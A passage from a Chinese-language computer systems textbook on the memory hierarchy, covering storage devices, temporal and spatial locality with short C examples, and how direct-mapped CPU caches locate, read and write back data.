系统设计者根据程序如何访问数据,将内存层次结构中的设备进行分类。*主存储*设备可以被程序直接访问。也就是说,CPU 的汇编指令编码了指令应该获取的数据的确切位置。主存储的例子包括 CPU 寄存器和主内存(RAM),汇编指令会直接引用它们(例如,在 IA32 汇编中分别是 `%reg` 和 `(%reg)`)。
相比之下,CPU 指令不能直接引用*二级存储*设备。为了访问二级存储设备的内容,程序必须先请求将设备中的数据复制到主存储器中(通常是内存)。最常见的二级存储设备是磁盘设备(例如硬盘驱动器和固态硬盘),它们持久存储文件数据。其他例子还包括软盘、磁带盒,甚至远程文件服务器。
即使你之前可能没有以这些术语区分主存储和二级存储,但你可能已经在程序中遇到它们的区别。例如,在声明和赋值普通变量(主存储)之后,程序可以立即在算术操作中使用它们。而在处理文件数据(二级存储)时,程序必须先将文件中的值读取到内存变量中,才能访问它们(请参见 第 117 页 的“文件输入/输出”)。
分类记忆设备的其他几个重要标准来源于它们的性能和容量特性。最有趣的三个衡量标准是:
**容量** 设备可以存储的数据量。容量通常以字节为单位进行测量。
**延迟** 设备在接到执行数据检索操作的指令后,响应并提供数据所需的时间。延迟通常以秒的分数(例如毫秒或纳秒)或 CPU 周期为单位进行测量。
**传输速率** 设备与主内存之间在某段时间内可以移动的数据量。传输速率也称为*吞吐量*,通常以每秒字节数为单位进行测量。
探索现代计算机中各种设备揭示了在这三项衡量标准上设备性能的巨大差异。性能差异主要来源于两个因素:*距离*和*用于实现这些设备的技术差异*。
距离的影响在于,最终,任何程序想要使用的数据必须能够提供给 CPU 的算术组件(例如 ALU)进行处理。CPU 设计师将寄存器放置在靠近 ALU 的位置,以最小化信号在两者之间传播所需的时间。因此,虽然寄存器只能存储少量字节且数量不多,但存储的值几乎可以立即提供给 ALU!相比之下,像磁盘这样的二级存储设备通过各种控制器设备将数据传输到内存,这些控制器设备通过较长的电线连接。额外的距离和中间处理大大减慢了二级存储的速度。
**格雷斯·霍普的“纳秒”**
在与观众交流时,计算机先驱、美国海军上将格蕾丝·霍普尔经常向观众分发 11.8 英寸的电线。这些电线代表了电信号在一纳秒内传播的最大距离,被称为“格蕾丝·霍普尔纳秒”。她用这些电线来描述卫星通信的延迟限制,并展示为什么计算设备需要小型化才能提高速度。格蕾丝·霍普尔讲解她的纳秒理论的录音可以在 YouTube 上找到。^(1)
底层技术也会显著影响设备的性能。寄存器和缓存由相对简单的电路构成,仅由少数逻辑门组成。它们的小尺寸和最小复杂性确保电信号能够快速传播,减少延迟。在对立的一端,传统的硬盘包含旋转的磁性盘片,能够存储数百 GB 的数据。尽管它们提供了密集的存储,但由于需要机械地调整和旋转部件以对准到正确的位置,因此其访问延迟相对较高。
本节的其余部分将详细探讨主存储和次存储设备,并分析它们的性能特征。
#### 11.2.1 主存储器
主存储设备由*随机存取内存*(RAM)组成,这意味着访问数据所需的时间不受数据在设备中的位置影响。也就是说,RAM 不需要担心像将部件移到正确位置或倒带磁带卷轴这样的事情。RAM 有两种广泛使用的类型,*静态 RAM*(SRAM)和*动态 RAM*(DRAM),它们在现代计算机中都扮演着重要角色。表 11-1 列出了常见主存储设备的性能衡量标准及其使用的 RAM 类型。
**表 11-1:** 典型 2022 工作站的主存储设备特性
| **设备** | **容量** | **大致延迟** | **RAM 类型** |
| --- | --- | --- | --- |
| 寄存器 | 4–8 字节 | < 1 纳秒 | SRAM |
| CPU 缓存 | 1–32 兆字节 | 5 纳秒 | SRAM |
| 主内存 | 4–64 吉字节 | 100 纳秒 | DRAM |
SRAM 将数据存储在小型电路中(例如,锁存器——参见“RS 锁存器”在第 257 页)。SRAM 通常是最快的内存类型,设计师将其直接集成到 CPU 中,以构建寄存器和缓存。SRAM 在制造成本、运营成本(如功耗)以及所占空间方面相对昂贵。总体而言,这些成本限制了 CPU 可以包含的 SRAM 存储量。
DRAM 使用名为*电容器*的电子元件存储数据,这些电容器能够储存电荷。它被称为“动态”是因为 DRAM 系统必须频繁刷新电容器的电荷才能保持存储的值。现代系统使用 DRAM 来实现主内存,这些内存模块通过一种称为*内存总线*的高速互连与 CPU 连接。
图 11-2 说明了相对于内存总线的主存储设备的位置。为了从内存中检索值,CPU 将要检索数据的地址放在内存总线上,并发出信号,要求内存模块执行读取操作。经过短暂延迟后,内存模块将存储在请求地址处的值通过总线发送到 CPU。

*图 11-2:主存储和内存总线架构*
尽管 CPU 和主存储器在物理上相距几英寸,但数据在 CPU 和主存储器之间移动时必须经过内存总线。它们之间的额外距离和电路增加了延迟,并减少了相对于 CPU 存储的主存储器传输速率。因此,内存总线有时被称为*冯·诺依曼瓶颈*。当然,尽管性能较低,主存储器仍然是一个必不可少的组件,因为它存储的数据量比 CPU 能容纳的多几个数量级。与其他存储形式一致,容量和速度之间存在明显的权衡。
*CPU 缓存*(发音为“缓存”)位于寄存器和主存储器之间的中间地带,无论从物理上还是性能和容量特性上都是如此。CPU 缓存通常直接存储几千字节到几兆字节的数据在 CPU 上,但物理上,缓存不像寄存器那样接近 ALU。因此,缓存访问速度比主存储器快,但相比寄存器,它们需要更多周期将数据提供给计算使用。
CPU 内部的控制电路自动将主存储器内容的一个子集存储到缓存中,而不是程序员显式地将值加载到缓存中。CPU 策略性地控制将主存储器的哪个子集存储在缓存中,以便尽可能多地通过(性能更高的)缓存服务内存请求。本章后续部分描述了影响缓存构建和管理存储数据算法的设计决策。
真实系统包含多个层次的缓存,它们表现得像自己的小型内存层次结构版本。也就是说,CPU 可能有一个非常小而快速的*L1 缓存*,它存储稍大而较慢的*L2 缓存*的子集,后者又存储了更大而更慢的*L3 缓存*的子集。本节其余部分描述了一个仅具有单个缓存的系统,但是实际系统中缓存之间的交互行为与稍后详细描述的单个缓存与主存储器之间的交互行为非常相似。
**注意**
如果你对系统中缓存和主存储器的大小感兴趣,可以使用`lscpu`命令打印有关 CPU(包括其缓存容量)的信息。运行`free -m`可以显示系统的主存储器容量(以兆字节为单位)。
#### 11.2.2 次级存储
从物理上讲,二级存储设备与主存相比距离 CPU 更远。与大多数其他计算机设备相比,二级存储设备多年来经历了显著的演变,并且它们的设计通常比其他组件更加多样化。标志性的打孔卡^(2)允许操作员通过在厚纸上打孔来存储数据,类似于索引卡。打孔卡的设计可追溯到 1890 年美国人口普查,在 1960 年代和 1970 年代,打孔卡一直忠实地存储用户数据(通常是程序)。
磁带驱动器^(3)将数据存储在磁带卷轴上。尽管它们通常以较低的成本提供良好的存储密度(在小尺寸中存储大量信息),但由于需要将卷轴绕到正确位置,磁带驱动器的访问速度较慢。尽管如今大多数计算机用户不再经常接触到它们,磁带驱动器仍然广泛用于大规模存储操作(如大规模数据备份),在这些操作中,读取数据的频率较低。现代磁带驱动器将磁带卷轴安排成小型卡带,便于使用。

*图 11-3:打孔卡(a)、磁带卷轴(b)和各种软盘尺寸(c)的示例照片。图片来自 Wikipedia。*
可移动介质,如软盘^(4)和光盘^(5)是另一种流行的二级存储形式。软盘包含一个旋转的磁性记录介质轴,磁头在其上方读取和写入数据。图 11-3 展示了打孔卡、磁带驱动器和软盘的照片。光盘(如 CD、DVD 和 Blu-ray)通过在盘面上做小的凹痕来存储信息。驱动器通过向光盘照射激光来读取盘片,凹痕的存在与否会影响激光束的反射(或不反射),从而编码成零和一。
##### 11.2.2.1 现代二级存储
**表 11-2:** 典型 2022 年工作站的二级存储设备特性
| **设备** | **容量** | **延迟** | **传输速率** |
| --- | --- | --- | --- |
| 闪存 | 0.5–2 terabytes | 0.1–1 毫秒 | 200–3,000 兆字节/秒 |
| 传统硬盘 | 0.5–10 terabytes | 5–10 毫秒 | 100–200 兆字节/秒 |
| 远程网络服务器 | 可变 | 20–200 毫秒 | 可变 |
表 11-2 描述了今天工作站常见的二级存储设备。图 11-4 展示了从二级存储到主内存的路径通常如何通过几个中间设备控制器。例如,典型的硬盘连接到串行 ATA 控制器,再连接到系统 I/O 控制器,最后连接到内存总线。这些中间设备通过将磁盘通信的细节从操作系统和程序员中抽象出来,使磁盘更易于使用。然而,它们也引入了传输延迟,因为数据需要通过额外的设备流动。

*图 11-4:二级存储和 I/O 总线架构*
今天最常见的两种二级存储设备是*硬盘驱动器*(HDD)和基于闪存的*固态硬盘*(SSD)。硬盘由几个平坦的圆盘组成,这些圆盘由可进行磁性记录的材料制成。盘片快速旋转,通常的转速在每分钟 5,000 到 15,000 转之间。当盘片旋转时,一只小型机械臂上带有一个磁头,磁头在盘片的同心轨道(位于相同直径的区域)上移动,以读取或写入数据。
图 11-5 展示了硬盘的主要组件。^(6) 在访问数据之前,磁盘必须将磁头与包含所需数据的轨道对齐。对齐需要通过伸缩机械臂,直到磁头正好位于轨道上方。移动磁盘臂被称为*寻道*,由于它需要机械运动,寻道过程会引入一个小的*寻道时间*延迟(几毫秒)。当臂到达正确的位置时,磁盘必须等待盘片旋转,直到磁头直接位于存储所需数据的位置上方。这又引入了另一个短暂的延迟(几毫秒),称为*旋转延迟*。因此,由于其机械特性,硬盘的访问延迟显著高于前面描述的主要存储设备。

*图 11-5:硬盘驱动器的主要组件*
过去几年中,固态硬盘(SSD)由于没有活动部件(因此延迟较低),迅速崭露头角。它们被称为固态硬盘,因为它们不依赖机械运动。虽然存在多种固态技术,但闪存^(7) 在商业 SSD 设备中占据主导地位。闪存的技术细节超出了本书的范围,但可以简单地说,基于闪存的设备能够以比传统硬盘更快的速度读取、写入和擦除数据。尽管它们的存储密度尚不及机械硬盘,但在大多数消费类设备(如笔记本电脑)中,它们已经大体取代了旋转硬盘。
### 11.3 本地性
由于内存设备在性能特征和存储容量上差异很大,现代系统集成了多种存储形式。幸运的是,大多数程序展示了常见的内存访问模式,称为*局部性*,设计者构建硬件来利用良好的局部性,自动将数据移到适当的存储位置。具体来说,系统通过将程序正在积极使用的数据子集移到靠近 CPU 计算电路的存储中(例如,在寄存器或 CPU 缓存中)来提高性能。随着必要数据向 CPU 靠近,未使用的数据则移向更远、速度较慢的存储,直到程序需要它。
对于系统设计师来说,构建一个能够利用局部性的系统代表着一个抽象问题。系统提供了内存设备的抽象视图,使得程序员看起来他们拥有所有内存容量,并且具有快速片上存储的性能特征。当然,向用户提供这种美好的假象无法做到完美,但通过利用程序的局部性,现代系统能为大多数写得很好的程序提供良好的性能。
系统主要利用两种局部性:
**时间局部性** 程序往往会在一段时间内反复访问相同的数据。也就是说,如果程序最近使用过一个变量,那么很可能会很快再次使用该变量。
**空间局部性** 程序倾向于访问与其他之前访问过的数据相邻的数据。“相邻”指的是数据的内存地址。例如,如果程序访问了地址为*N*和*N* + 4 的数据,那么它很可能会很快访问*N* + 8 的数据。
#### 11.3.1 代码中的局部性示例
幸运的是,常见的编程模式经常表现出这两种局部性。例如,考虑以下函数:
/* Sum up the elements in an integer array of length len. */
int sum_array(int *array, int len) {
int i;
int sum = 0;
for (i = 0; i < len; i++) {
sum += array[i];
}
return sum;
}
在这段代码中,`for`循环的重复性特征为`i`、`len`、`sum`和`array`(数组的基地址)引入了时间局部性,因为程序在每次循环迭代中都会访问这些变量。利用这种时间局部性,系统可以仅将每个变量从主内存加载到 CPU 缓存中一次。之后的每次访问都可以从速度更快的缓存中服务。
对数组内容的访问同样受益于空间局部性。尽管程序每次只访问一次数组元素,现代系统通常会一次性从内存加载多个`int`到 CPU 缓存中。也就是说,访问第一个数组索引时,不仅会加载第一个整数,还会加载紧随其后的几个整数。具体加载多少个额外的整数进入缓存,取决于缓存的*块大小*——即每次向缓存转移的数据量。
例如,使用 16 字节的块大小,系统一次将四个整数从内存复制到缓存中。因此,访问第一个整数会产生相对较高的主内存访问成本,但接下来的三个整数会从缓存中提供,即使程序之前从未访问过它们。
在许多情况下,程序员可以通过故意编写展示良好局部性模式的代码来帮助系统。例如,考虑访问每个元素的嵌套循环,一个 *N* × *N* 矩阵(这个例子在本章的介绍中也有出现):
版本 1
float averageMat_v1(int **mat, int n) {
int i, j, total = 0;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
// Note indexing: [i][j]
total += mat[i][j];
}
}
return (float) total / (n * n);
}
版本 2
float averageMat_v2(int **mat, int n) {
int i, j, total = 0;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
// Note indexing: [j][i]
total += mat[j][i];
}
}
return (float) total / (n * n);
}
在这两个版本中,循环变量(`i` 和 `j`)以及累加变量(`total`)展示了良好的时间局部性,因为这些变量在每次迭代中都会被反复使用。因此,当执行这段代码时,系统会将这些变量存储在快速的 CPU 存储位置,以提供良好的性能。
然而,由于矩阵在内存中的行主序组织(参见 第 86 页 的“二维数组内存布局”),第一版本的代码执行速度大约比第二版本快五倍。这个差异源自空间局部性的不同——第一版本按顺序在内存中访问矩阵的值(即,按照连续的内存地址顺序)。因此,它受益于系统从内存中加载大块数据到缓存中,因为每访问一块值时,它只需一次访问内存。
第二版本通过在非连续的内存地址之间反复跳跃来访问矩阵的值。它 *从未* 在随后的内存访问中读取同一个缓存块,因此看起来缓存不需要该块数据。因此,每次读取矩阵值时,它都需要去访问内存。
这个例子说明了程序员如何影响程序执行时的系统级成本。在编写高性能应用程序时,特别是那些以规则模式访问数组的程序,牢记这些原则。
#### 11.3.2 从局部性到缓存
为了帮助说明时间局部性和空间局部性如何支持缓存设计,我们将采用一个具有实际世界物品的例子场景:书籍。假设 Fiona 在她宿舍的桌子上做所有作业,而桌子空间有限,只能存放三本书。在她房间外面,她有一排书架,比桌子有更多的存储空间。最后,在校园的另一边,她所在的大学有一个图书馆,里面有大量种类繁多的书籍。在这个例子中,“书籍存储层次结构”可能看起来像是 图 11-6。基于这个场景,我们将探讨局部性如何帮助指导 Fiona 应该选择哪个存储位置来存放她的书籍。

*图 11-6:假设的书籍存储层次结构*
#### 11.3.3 时间局部性
时间局部性表明,如果有一本书是 Fiona 经常使用的,她应该将它尽可能靠近她的桌子。如果她偶尔需要将它移到书架上以腾出临时工作空间,这个成本不高,但如果她第二天就要再用这本书,把它拿回图书馆就显得很愚蠢。反过来也是如此:如果有一本书占据了她桌子或书架上的宝贵空间,而她已经很久没有使用它,那本书就像是一个适合归还图书馆的候选书籍。
那么,Fiona 应该将哪些书移到她宝贵的桌面空间呢?在这个例子中,真正的学生可能会查看他们即将进行的任务,并选择他们预计最有用的书籍。换句话说,为了做出最佳存储决策,他们理想情况下需要关于*未来使用*的信息。
不幸的是,硬件设计师尚未发现如何构建能够预测未来的电路。作为预测的替代方法,可以设想一个系统,要求程序员或用户提前告知系统程序如何使用数据,以便优化其放置。这种策略在专门的应用程序(例如,大型数据库)中可能效果很好,因为这些应用展示了*非常*规律的访问模式。然而,在像个人计算机这样的通用系统中,要求用户提前通知就显得负担过重——许多用户可能不愿意(或者无法)提供足够的细节来帮助系统做出正确的决策。
因此,系统并不是依赖未来的访问信息,而是看向过去,作为预测未来*可能*发生事情的依据。将这个想法应用到书籍的例子中,提出了一种相对简单(但仍然非常有效)的方法来管理书籍存储空间:
+ 当 Fiona 需要使用一本书时,她从当前所在的位置取出这本书,并把它移到她的桌子上。
+ 如果桌子已经满了,她会将最近*最不常用*的书(即那本在桌子上放得最久、没有被动过的书)移到书架上。
+ 如果书架已满,她会将书架上最不常用的书归还到图书馆,以腾出空间。
即使这个方案可能并不完美,但它的简洁性使其具有吸引力。它所需要的只是能够在存储位置之间移动书籍的能力,以及少量关于书籍先前使用顺序的元信息。此外,这个方案很好地捕捉了最初的两个时间局部性目标:
+ 经常使用的书很可能会一直留在桌子或书架上,避免了不必要的去图书馆的往返。
+ 很少使用的书最终会成为最近最不常用的书,这时把它们归还到图书馆就显得有意义。
将这一策略应用于主存储设备,看起来与书本中的示例非常相似:当数据从主内存加载到 CPU 寄存器时,为其在 CPU 缓存中腾出空间。如果缓存已经满了,则通过*驱逐*最近最少使用的缓存数据到主内存来腾出空间。在接下来的缓存部分中,我们将探讨现代缓存系统是如何构建这些机制的细节。
#### 11.3.4 空间局部性
空间局部性表明,当去图书馆时,Fiona 应该取更多的书,以减少未来再次去图书馆的可能性。具体来说,她应该取一些“邻近”她所需要的书的书,因为那些邻近的书看起来是避免额外去图书馆的好候选。
假设她正在上一个关于莎士比亚历史剧的文学课程。如果在课程的第一周,她被分配阅读*亨利六世 第一部分*,当她在图书馆取书时,她很可能会在书架上找到第二部分和第三部分。即使她还不知道课程是否会分配那两部分,认为她*可能*需要它们也是合情合理的。也就是说,需要它们的可能性远高于图书馆里随机一本书,特别是因为它们就近于她确实需要的那本书。
在这种情况下,由于图书馆排列书籍的方式,可能性会增加,程序也类似地在内存中组织数据。例如,像数组或`struct`这样的编程结构将一组相关数据存储在内存中的连续区域。当遍历数组中的连续元素时,访问的内存地址显然具有空间模式。将这些空间局部性的经验应用于主存储设备,意味着在从主内存检索数据时,系统也应该检索周围的数据。
在下一部分中,我们将描述缓存的特性,并描述硬件如何自动识别和利用局部性的机制。
### 11.4 CPU 缓存
在描述了存储设备并认识到时间和空间局部性的关键模式之后,我们准备探讨 CPU 缓存的设计和实现。*缓存*是 CPU 上的一种小型快速存储设备,存储着主内存的有限子集。缓存面临几个重要的设计问题:*哪个*程序内存的子集应该被缓存?*何时*缓存应将程序数据的子集从主内存复制到缓存,或反之?*如何*系统能够判断程序的数据是否存在于缓存中?
在探讨这些具有挑战性的问题之前,我们需要介绍一些缓存行为和术语。回想一下,当访问内存中的数据时,程序首先计算数据的内存地址(请参见第 298 页的“指令结构”)。理想情况下,所需地址处的数据已经存在于缓存中,允许程序完全跳过对主内存的访问。为了最大化性能,硬件同时将所需地址发送到*缓存*和主内存。由于缓存比内存更快且离算术逻辑单元(ALU)更近,缓存的响应速度远快于内存。如果数据存在于缓存中(*缓存命中*),缓存硬件将取消挂起的内存访问,因为缓存能比内存更快地提供数据。
否则,如果数据不在缓存中(*缓存未命中*),CPU 别无选择,只能等待从内存中检索数据。然而,关键的是,当访问主内存的请求完成后,CPU 会将检索到的数据加载到缓存中,以便后续对同一地址的请求(由于时间局部性,这些请求可能会发生)能够从缓存中快速服务。即使未命中的内存访问是*写入*内存,CPU 仍然会在未命中时将值加载到缓存中,因为程序很可能会在未来再次访问相同的位置。
当在缓存未命中的情况下加载数据时,CPU 通常会发现缓存没有足够的空闲空间可用。在这种情况下,缓存必须首先*逐出*一些已驻留的数据,为正在加载的新数据腾出空间。由于缓存存储的是从主内存复制的数据子集,逐出已修改的缓存数据时,缓存必须在逐出数据之前更新主内存中的内容。
为了提供上述所有功能,缓存设计师采用了三种设计方案之一。本节首先讨论*直接映射缓存*,它比其他设计方案更简单。
#### 11.4.1 直接映射缓存
直接映射缓存将其存储空间划分为称为*缓存行*的单元。根据缓存的大小,它可能包含几十、几百甚至几千个缓存行。在直接映射缓存中,每个缓存行都是独立的,并包含两种重要类型的信息:*缓存数据块*和*元数据*。
*缓存数据块*(通常缩写为*缓存块*)存储来自主内存的程序数据子集。缓存块存储多字节的数据块,以利用空间局部性。缓存块的大小决定了缓存和主存之间的数据传输单位。也就是说,当从内存加载数据到缓存时,缓存始终接收一个与缓存块大小相等的数据块。缓存设计师在选择缓存块大小时需要权衡各种因素。给定固定的存储预算,缓存可以存储更多的小块,或者更少的大块。使用更大的块可以提高具有良好空间局部性的程序的性能,而更多的块则使缓存能够存储更为多样化的内存子集。最终,哪种策略提供最佳性能取决于应用程序的工作负载。由于通用 CPU 无法假设系统应用程序的特性,当前典型的 CPU 缓存使用的是介于 16 到 64 字节之间的中等大小块。
*元数据*存储有关缓存行数据块内容的信息。缓存行的元数据*不*包含程序数据。相反,它维护缓存行的账目信息(例如,帮助识别缓存行的数据块包含内存的哪个子集)。
当程序尝试访问一个内存地址时,缓存必须知道从哪里查找对应的数据,检查该缓存位置是否有所需的数据,如果有,就将缓存块的一部分数据返回给请求的应用程序。以下步骤详细介绍了在缓存中查找并检索数据的过程。
##### 定位缓存数据
缓存必须能够快速判断对应请求地址的内存子集是否当前存在于缓存中。为了解答这个问题,缓存必须首先确定检查哪些缓存行。在直接映射缓存中,内存中的每个地址都对应*恰好*一个缓存行。这一限制解释了*直接映射*这个名称——它将每个内存地址直接映射到一个缓存行。
图 11-7 展示了内存地址如何映射到一个小型直接映射缓存中的缓存行,缓存行有四行,缓存块大小为 32 字节。回想一下,缓存的块大小表示缓存和主存之间数据传输的最小单位。因此,每个内存地址都落在一个 32 字节的范围内,并且每个范围映射到一个缓存行。

*图 11-7:在一个四行直接映射缓存中,内存地址到缓存行的映射示例,缓存块大小为 32 字节*
请注意,虽然每个内存区域只映射到一个缓存行,但许多内存范围会映射到*相同*的缓存行。所有映射到同一缓存行的内存区域(即图 11-7 中相同颜色的块)都在同一缓存行中争夺空间,因此每次只能有一个颜色的区域驻留在缓存中。
缓存使用内存地址中的一部分位将内存地址映射到缓存行。为了使数据更均匀地分布在缓存行中,缓存使用取自内存地址*中间*部分的位,这部分称为地址的*索引*部分,用于确定该地址映射到哪个缓存行。作为索引的位数(会有所变化)决定了缓存能容纳多少个缓存行。图 11-8 显示了内存地址的索引部分是如何指向缓存行的。

*图 11-8:内存地址的中间索引部分标识缓存行。*
使用地址的中间部分可以减少程序数据聚集时对同一缓存行的竞争,这通常发生在具有良好局部性的程序中。也就是说,程序倾向于将变量存储在彼此靠近的地方,通常是在几个位置之一(例如,栈或堆上)。这些聚集的变量共享相同的高位地址。因此,如果使用高位进行索引,则会导致这些聚集的变量全部映射到同一缓存行,从而使其余缓存行未被使用。通过使用地址中间部分的位,缓存能更均匀地分配数据到可用的缓存行。
##### 缓存内容识别
接下来,定位到适当的缓存行后,缓存必须确定该行是否包含请求的地址。由于多个内存范围映射到同一缓存行,缓存会检查该行的元数据,以回答两个重要问题:该缓存行是否持有有效的内存子集?如果是,它当前持有哪些映射到此缓存行的内存子集?
为了回答这些问题,每个缓存行的元数据包括一个有效位和一个标签。*有效位*是一个单个位,表示该行当前是否存储有效的内存子集(如果有效位为 1)。无效行(如果有效位为 0)永远不会产生缓存命中,因为没有数据被加载到其中。无效行实际上表示缓存中的空闲空间。
除了有效位,每个缓存行的元数据还存储一个*标签*,该标签唯一标识该缓存块所持有的内存子集。标签字段存储缓存行中地址范围的高位,并允许缓存行追踪其数据块来自内存的哪个位置。换句话说,由于许多内存子集映射到同一缓存行(那些具有相同索引位的子集),标签记录了当前存储在缓存行中的子集。
为了使缓存查找产生命中,存储在缓存行中的标签字段必须与程序请求的内存地址的标签部分(高位)完全匹配。标签不匹配表明缓存行的数据块不包含请求的内存,即使该行存储有效数据。图 11-9 说明了缓存如何将内存地址划分为标签和索引,使用索引位选择目标缓存行,验证行的有效位,并检查行的标签是否匹配。

*图 11-9:在使用请求的内存地址的索引位定位正确的缓存行后,缓存同时验证该行的有效位并检查其标签与请求地址的标签是否匹配。如果该行有效且标签匹配,则查找成功,命中。*
##### 检索缓存数据
最后,在使用程序请求的内存地址找到合适的缓存行并验证该行包含有效的内存子集(其中包含该地址)之后,缓存将请求的数据发送到需要这些数据的 CPU 组件。由于缓存行的数据块大小(例如,64 字节)通常比程序请求的数据量(例如,4 字节)要大得多,缓存使用请求地址的低位作为*偏移量*,以进入缓存的数据块。图 11-10 展示了地址的偏移量部分是如何确定程序期望检索缓存块中的哪些字节的。

*图 11-10:给定一个缓存数据块,地址的偏移量部分确定程序想要检索的字节。*
##### 内存地址划分
缓存的*维度*决定了将多少位解释为内存地址中的偏移量、索引和标签部分。同样,地址中每个部分的位数也暗示了缓存的维度。为了确定哪个位属于地址的哪一部分,考虑从右到左(即从最低有效位到最高有效位)来看地址是有帮助的。
地址的最右部分是*偏移量*,其长度取决于缓存的数据块大小维度。地址的偏移量部分必须包含足够的位,以指向缓存数据块中的每个可能字节。例如,假设一个缓存存储 32 字节的数据块。因为程序可能会请求这些 32 字节中的任何一个,缓存需要足够的偏移量位来准确描述程序可能请求的 32 个位置中的哪个位置。在这种情况下,偏移量需要 5 个位,因为 5 个位足以表示 32 个唯一的值(log[2] 32 = 5)。反过来,如果一个缓存使用四个位作为偏移量,那么它必须存储 16 字节的数据块(2⁴ = 16)。
地址的*索引*部分从偏移的左侧立即开始。要确定索引位数,考虑缓存中的行数,因为索引需要足够的位数唯一标识每个缓存行。使用与偏移类似的逻辑,具有 1,024 行的缓存需要 10 位索引(log[2] 1,024 = 10)。同样,使用 12 位索引的缓存必须有 4,096 行(2¹² = 4,096)。

*图 11-11:地址的索引部分唯一标识一个缓存行,偏移部分唯一标识行数据块中的位置。*
剩余的地址位形成标记。因为标记必须唯一标识包含在缓存行中的内存子集,所以标记必须使用地址剩余未使用的所有位。例如,如果一台机器使用 32 位地址,具有 5 位偏移和 10 位索引的缓存使用剩余的 32 - 15 = 17 位地址表示标记。
##### 直接映射读取示例
考虑具有以下特性的 CPU:
+ 16 位内存地址
+ 具有 128 个缓存行的直接映射缓存
+ 32 字节缓存数据块。
缓存从空开始(所有行都无效),如图 11-12 所示。

*图 11-12:一个空的直接映射示例缓存*
假设运行在此 CPU 上的程序访问以下内存位置(参见图 11-13 至 11-16):
1\. 从地址 1010000001100100 读取。
2\. 从地址 1010000001100111 读取。
3\. 从地址 1001000000100000 读取。
4\. 从地址 1111000001100101 读取。
要将整个序列放在一起,在跟踪缓存行为时,请按以下步骤操作:
1\. 将请求的地址从右侧(低位)到左侧(高位)分成三部分:缓存数据块内的偏移量、适当缓存行的索引以及标记,以标识存储行的内存子集。
2\. 使用请求地址的中间部分索引到缓存,以找到地址映射到的缓存行。
3\. 检查缓存行的有效位。当无效时,程序无法使用缓存行的内容(缓存未命中),无论标记是什么。
4\. 检查缓存行的标记。如果地址的标记与缓存行的标记匹配并且该行有效,则缓存行的数据块包含程序正在查找的数据(缓存命中)。否则,缓存必须从主存加载数据到指定的索引(缓存未命中)。
5\. 命中时,使用地址的低位偏移位从存储的块中提取程序所需数据。(本例中未显示。)
##### 地址划分
首先确定如何将内存地址划分为其*偏移*、*索引*和*标记*部分。考虑地址部分从低位到高位(从右到左):
*偏移量*:一个 32 字节的块大小意味着地址的最右边五位(log[2] 32 = 5)构成偏移量部分。通过五位,偏移量可以唯一标识块中的任何一个 32 字节。
*索引*:一个有 128 行的缓存意味着地址的接下来的七位(log[2] 128 = 7)构成索引部分。通过七位,索引可以唯一标识每个缓存行。
*标签*:标签由地址中不属于偏移量或索引的剩余位组成。在这里,地址中剩下四位构成标签(16 – (5 + 7) = 4)。

*图 11-13:从地址 1010000001100100 读取。索引 0000011(第 3 行)无效,因此请求未命中,缓存从主内存加载数据。*

*图 11-14:从地址 1010000001100111 读取。索引 0000011(第 3 行)有效,并且标签(1010)匹配,因此请求命中。缓存返回数据块中从字节 7(偏移量 0b00111)开始的数据。*

*图 11-15:从地址 1001000000100000 读取。索引 0000001(第 1 行)无效,因此请求未命中,缓存从主内存加载数据。*

*图 11-16:从地址 1111000001100101 读取。索引 0000011(第 3 行)有效,但标签不匹配,因此请求未命中,缓存从主内存加载数据。*
##### 写入缓存数据
到目前为止,本节主要考虑了 CPU 在缓存中执行查找的内存读取操作。缓存还必须允许程序存储值,并支持两种策略之一的存储操作。
在 *写直达缓存* 中,内存写操作修改缓存中的值,并同时更新主内存的内容。也就是说,写操作 *总是* 立即同步缓存和主内存的内容。
在 *写回缓存* 中,内存写操作修改存储在缓存数据块中的值,但 *不* 更新主内存。因此,在更新缓存的数据后,写回缓存的内容与主内存中的相应数据不同。
为了识别那些其内容与主内存对应部分不同的缓存块,写回缓存中的每一行都会存储一个额外的元数据位,称为 *脏位*。当从脏缓存行中驱逐数据块时,必须先将缓存块的数据写回主内存,以同步其内容。图 11-17 显示了一个包含脏位的直接映射缓存,用于标记需要在驱逐时写入内存的行。

*图 11-17:缓存扩展了一个脏位*
如常所见,设计之间的差异揭示了一个权衡。写透缓存比写回缓存更简单,并且避免为每行存储额外的元数据,如脏位。另一方面,写回缓存通过减少对同一内存位置的重复写操作的开销来提高性能。
例如,假设一个程序频繁更新相同的变量,而该变量的内存从未被逐出缓存。写透缓存(write-through cache)在每次更新时都会写入主内存,即使每次更新只是覆盖了前一个值,而写回缓存(write-back cache)只有在最终逐出缓存块时才会写入内存。由于将内存访问的开销分摊到多次写操作中能显著提高性能,因此大多数现代缓存选择写回设计。
##### 直接映射写示例(写回)
写入缓存的行为类似于读取,但它们还会设置修改过的缓存行的脏位。在逐出脏缓存行时,缓存必须在丢弃它之前将修改过的数据块写回内存。
假设前述示例场景继续进行,并增加了两个额外的内存访问(见 图 11-18 和 图 11-19):
5\. 写入地址:1111000001100000。
6\. 写入地址:1010000001100100。

*图 11-18:写入地址 1111000001100000。索引 0000011(第 3 行)有效,且标签(1111)匹配,因此请求命中。由于这是写操作,缓存将该行的脏位设置为 1。*

*图 11-19:写入地址 1010000001100100。索引 0000011(第 3 行)有效,但标签不匹配,因此请求未命中。由于目标行既有效又脏,缓存必须在加载新数据之前将现有数据块保存到主内存。这是一个写操作,因此缓存将新加载行的脏位设置为 1。*
在示例中的第四次和第六次内存访问中,缓存逐出了数据,因为两个内存区域竞争同一缓存行。接下来,我们将探讨一种旨在减少这种竞争的缓存设计。
#### 11.4.2 缓存缺失和关联设计
缓存设计者的目标是最大化缓存的命中率,以确保尽可能多的内存请求能够避免访问主内存。尽管局部性提供了实现良好命中率的希望,但由于各种原因,实际缓存无法期待每次访问都能命中:
**强制性** 或 **冷启动缺失**:如果一个程序从未访问过某个内存位置(或与该位置相邻的任何位置),它几乎无法在缓存中找到该位置的数据。因此,程序在第一次访问新的内存地址时,往往无法避免缓存缺失。
**容量未命中**:缓存存储的是主存储器的一个子集,理想情况下它存储的是程序正在积极使用的*确切*内存子集。然而,如果一个程序正在积极使用的内存超过了缓存的容量,那么它不可能在缓存中找到*所有*它需要的数据,从而导致*容量未命中*。
